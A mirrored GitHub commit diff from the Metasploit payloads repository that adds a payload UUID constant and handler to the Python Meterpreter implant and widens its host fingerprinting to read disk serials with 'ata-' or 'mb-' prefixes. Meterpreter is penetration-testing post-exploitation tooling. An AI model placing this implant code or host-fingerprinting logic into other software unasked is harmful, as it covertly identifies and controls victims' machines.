mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-18 15:14:10 +01:00
Stage UUIDs, generation options, php and python meterp uuid
This commit is contained in:
parent
dea9f0b049
commit
281ebf1ca8
@ -67,6 +67,7 @@ HTTP_CONNECTION_URL = None
|
|||||||
HTTP_EXPIRATION_TIMEOUT = 604800
|
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||||
HTTP_PROXY = None
|
HTTP_PROXY = None
|
||||||
HTTP_USER_AGENT = None
|
HTTP_USER_AGENT = None
|
||||||
|
PAYLOAD_UUID = ""
|
||||||
|
|
||||||
PACKET_TYPE_REQUEST = 0
|
PACKET_TYPE_REQUEST = 0
|
||||||
PACKET_TYPE_RESPONSE = 1
|
PACKET_TYPE_RESPONSE = 1
|
||||||
@ -144,6 +145,7 @@ TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
|||||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||||
|
|
||||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||||
|
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
||||||
|
|
||||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||||
@ -570,6 +572,10 @@ class PythonMeterpreter(object):
|
|||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
self.send_packet(pkt)
|
self.send_packet(pkt)
|
||||||
|
|
||||||
|
def _core_uuid(self, request, response):
|
||||||
|
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
def _core_machine_id(self, request, response):
|
def _core_machine_id(self, request, response):
|
||||||
serial = ''
|
serial = ''
|
||||||
machine_name = platform.uname()[1]
|
machine_name = platform.uname()[1]
|
||||||
@ -594,9 +600,10 @@ class PythonMeterpreter(object):
|
|||||||
else:
|
else:
|
||||||
for _, _, files in os.walk('/dev/disk/by-id/'):
|
for _, _, files in os.walk('/dev/disk/by-id/'):
|
||||||
for f in files:
|
for f in files:
|
||||||
if f[:4] == 'ata-':
|
for p in ['ata-', 'mb-']:
|
||||||
serial = f[4:]
|
if f[:len(p)] == p:
|
||||||
break
|
serial = f[len(p):]
|
||||||
|
break
|
||||||
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user